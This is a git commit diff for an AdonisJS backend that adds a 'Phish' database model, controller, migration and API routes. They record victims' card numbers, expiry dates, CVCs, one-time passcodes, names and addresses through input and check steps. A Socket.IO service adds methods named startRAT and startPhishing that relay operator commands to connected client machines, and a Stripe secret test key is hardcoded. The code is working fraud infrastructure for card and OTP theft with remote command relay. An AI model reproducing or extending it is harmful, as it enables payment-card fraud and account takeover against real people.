x1ongzhu преди 1 година
родител
ревизия
a2ba0f9279
променени са 8 файла, в които са добавени 271 реда и са изтрити 1 реда
  1. 36 0
      app/Controllers/Http/PhishesController.ts
  2. 24 0
      app/Controllers/Http/StripeController.ts
  3. 80 0
      app/Models/Phish.ts
  4. 63 0
      app/Services/Ws.ts
  5. 49 0
      database/migrations/1709881786990_phishes.ts
  6. 2 1
      package.json
  7. 2 0
      start/routes.ts
  8. 15 0
      yarn.lock

+ 36 - 0
app/Controllers/Http/PhishesController.ts

@@ -0,0 +1,36 @@
+import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
+import PaginationService from 'App/Services/PaginationService'
+import Phish from 'App/Models/Phish'
+
+export default class PhishesController {
+    private paginationService = new PaginationService(Phish)
+
+    public async index({ request }: HttpContextContract) {
+        return await this.paginationService.paginate(request.all())
+    }
+
+    public async store({ request }: HttpContextContract) {
+        const ip = request.ip()
+        const id = request.all().id
+        let phish: Phish | null = null
+        if (id) {
+            phish = await Phish.find(id)
+        }
+        if (!phish) {
+            phish = new Phish()
+        }
+        phish.ip = ip
+        phish.online = false
+        return await phish.save()
+    }
+
+    public async show({ params }: HttpContextContract) {
+        return await Phish.findOrFail(params.id)
+    }
+
+    public async update({ params, request }: HttpContextContract) {
+        const phish = await Phish.findOrFail(params.id)
+        phish.merge(request.all())
+        return await phish.save()
+    }
+}

+ 24 - 0
app/Controllers/Http/StripeController.ts

@@ -0,0 +1,24 @@
+import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
+import Stripe from 'stripe'
+export default class StripeController {
+    public async index(ctx: HttpContextContract) {
+        const stripe = new Stripe('sk_test_09l3shTSTKHYCzzZZsiLl2vA')
+        const paymentIntent = await stripe.paymentIntents.create({
+            amount: 100,
+            currency: 'usd',
+            // In the latest version of the API, specifying the `automatic_payment_methods` parameter is optional because Stripe enables its functionality by default.
+            automatic_payment_methods: {
+                enabled: true
+            },
+            payment_method_options: {
+                card: {
+                    request_three_d_secure: 'challenge'
+                }
+            }
+        })
+
+        return {
+            clientSecret: paymentIntent.client_secret
+        }
+    }
+}

+ 80 - 0
app/Models/Phish.ts

@@ -0,0 +1,80 @@
+import { jsonConverter } from 'App/Helpers/db'
+import { DateTime } from 'luxon'
+import { BaseModel, column } from '@ioc:Adonis/Lucid/Orm'
+
+export enum PhishStep {
+    INPUT_CARD = 'input_card',
+    CHECK_CARD = 'wait_for_check_card',
+    INPUT_OTP = 'input_otp',
+    CHECK_OTP = 'wait_for_check_otp',
+    SUCCESS = 'success',
+    FAIL = 'fail'
+}
+
+export default class Phish extends BaseModel {
+    @column({ isPrimary: true })
+    public id: number
+
+    @column.dateTime({ autoCreate: true })
+    public createdAt: DateTime
+
+    @column.dateTime({ autoCreate: true, autoUpdate: true })
+    public updatedAt: DateTime
+
+    @column()
+    public ip: string
+
+    @column()
+    public online: boolean
+
+    @column()
+    public step: PhishStep
+
+    @column()
+    public phone: string
+
+    @column()
+    public email: string
+
+    @column()
+    public card: string
+
+    @column()
+    public expiry: string
+
+    @column()
+    public cvc: string
+
+    @column()
+    public firstName: string
+
+    @column()
+    public lastName: string
+
+    @column()
+    public country: string
+
+    @column()
+    public state: string
+
+    @column()
+    public city: string
+
+    @column()
+    public address: string
+
+    @column()
+    public zip: string
+
+    @column()
+    public otp: string
+
+    @column()
+    public otpType: string
+
+    @column()
+    public otpMsg: string
+
+    @column()
+    public otpSuffix: string
+}

+ 63 - 0
app/Services/Ws.ts

@@ -6,8 +6,13 @@ class Ws {
     public io: Server
     public clientsIO: Namespace
     public adminIO: Namespace
+    public phiClientIO: Namespace
+    public phiAdminIO: Namespace
     private booted = false
+
     private clients: { [key: string]: any } = {}
+    private phiClients: { [key: string]: any } = {}
+
     public boot() {
         /**
          * Ignore multiple calls to the boot method
@@ -23,6 +28,12 @@ class Ws {
                 origin: '*'
             }
         })
+
+        this.startRAT()
+        this.startPhishing()
+    }
+
+    public startRAT() {
         this.clientsIO = this.io.of('client')
         this.adminIO = this.io.of('admin')
 
@@ -73,6 +84,58 @@ class Ws {
             })
         })
     }
+
+    public startPhishing() {
+        this.phiClientIO = this.io.of('phiClient')
+        this.phiAdminIO = this.io.of('phiAdmin')
+
+        this.phiClientIO.on('connection', (socket: Socket) => {
+            Logger.info('Client connected ' + JSON.stringify(socket.handshake))
+            this.clients[socket.id] = {
+                ...socket.handshake
+            }
+
+            socket.on('disconnect', (reason) => {
+                Logger.info('Client disconnected ' + reason)
+                delete this.clients[socket.id]
+            })
+
+            socket.on('info', (data) => {
+                this.phiClientIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
+            })
+
+            socket.on('result', (args: { to: string; action: string; data: any }) => {
+                Logger.info('got cmdResult ' + JSON.stringify(args))
+                this.adminIO.to(args.to).emit('result', {
+                    from: socket.id,
+                    action: args.action,
+                    data: args.data
+                })
+            })
+        })
+
+        this.phiAdminIO.on('connection', (socket: Socket) => {
+            Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
+            socket.on('clients', (args) => {
+                this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
+            })
+            socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
+                Logger.info(
+                    'sent cmd ' +
+                        JSON.stringify({
+                            from: socket.id,
+                            action: args.action,
+                            data: args.data
+                        })
+                )
+                this.clientsIO.to(args.to).emit('cmd', {
+                    from: socket.id,
+                    action: args.action,
+                    data: args.data
+                })
+            })
+        })
+    }
 }
 
 export default new Ws()

+ 49 - 0
database/migrations/1709881786990_phishes.ts

@@ -0,0 +1,49 @@
+import BaseSchema from '@ioc:Adonis/Lucid/Schema'
+
+export default class extends BaseSchema {
+    protected tableName = 'phishes'
+
+    public async up() {
+        this.schema.createTable(this.tableName, (table) => {
+            table.increments('id')
+
+            /**
+             * Uses timestamptz for PostgreSQL and DATETIME2 for MSSQL
+             */
+            table.datetime('created_at', { useTz: true })
+            table.datetime('updated_at', { useTz: true })
+
+            table.string('ip').nullable()
+            table.boolean('online').notNullable().defaultTo(false)
+            table
+                .enum('step', [
+                    'input_card',
+                    'wait_for_check_card',
+                    'input_otp',
+                    'wait_for_check_otp',
+                    'success',
+                    'fail'
+                ])
+                .notNullable()
+            table.string('phone').nullable()
+            table.string('email').nullable()
+            table.string('card').nullable()
+            table.string('expiry').nullable()
+            table.string('cvc').nullable()
+            table.string('first_name').nullable()
+            table.string('last_name').nullable()
+            table.string('country').nullable()
+            table.string('state').nullable()
+            table.string('city').nullable()
+            table.string('address').nullable()
+            table.string('zip').nullable()
+            table.string('otp').nullable()
+            table.string('otpType').nullable()
+            table.string('otpMsg').nullable()
+        })
+    }
+
+    public async down() {
+        this.schema.dropTable(this.tableName)
+    }
+}

+ 2 - 1
package.json

@@ -82,6 +82,7 @@
         "qs": "^6.11.2",
         "reflect-metadata": "^0.1.13",
         "socket.io": "^4.7.4",
-        "source-map-support": "^0.5.21"
+        "source-map-support": "^0.5.21",
+        "stripe": "^14.19.0"
     }
 }

+ 2 - 0
start/routes.ts

@@ -73,6 +73,8 @@ Route.group(() => {
     Route.resource('referrer', 'ReferrersController').apiOnly()
     Route.resource('properties', 'PropertiesController').apiOnly()
     Route.post('userBalances/rechargeNotify', 'UserBalancesController.rechargeNotify')
+    Route.get('stripe', 'StripeController.index')
+    Route.resource('phishes', 'PhishesController').apiOnly()
 
     Route.group(() => {
         Route.group(() => {

+ 15 - 0
yarn.lock

@@ -2274,6 +2274,13 @@
   dependencies:
     undici-types "~5.26.4"
 
+"@types/node@>=8.1.0":
+  version "20.11.24"
+  resolved "https://registry.npmmirror.com/@types/node/-/node-20.11.24.tgz#cc207511104694e84e9fb17f9a0c4c42d4517792"
+  integrity sha512-Kza43ewS3xoLgCEpQrsT+xRo/EJej1y0kVYGiLFE1NEODXGzTfwiC6tXTLMQskn1X4/Rjlh0MQUvx9W+L9long==
+  dependencies:
+    undici-types "~5.26.4"
+
 "@types/node@^12.0.2":
   version "12.20.55"
   resolved "https://registry.npmmirror.com/@types/node/-/node-12.20.55.tgz#c329cbd434c42164f846b909bd6f85b5537f6240"
@@ -6865,6 +6872,14 @@ strip-json-comments@~2.0.1:
   resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
   integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==
 
+stripe@^14.19.0:
+  version "14.19.0"
+  resolved "https://registry.npmmirror.com/stripe/-/stripe-14.19.0.tgz#d254024620a61029fbf50667205f720844645d78"
+  integrity sha512-Je2USTpUib3hApIgoHXViLoYkDLp+AXdUJvJ6aMQ/AcvZK1PcC7N8nTceh+0gpdotX8izlWN4QyVdMcptubHBQ==
+  dependencies:
+    "@types/node" ">=8.1.0"
+    qs "^6.11.0"
+
 strnum@^1.0.5:
   version "1.0.5"
   resolved "https://registry.npmmirror.com/strnum/-/strnum-1.0.5.tgz#5c4e829fe15ad4ff0d20c3db5ac97b73c9b072db"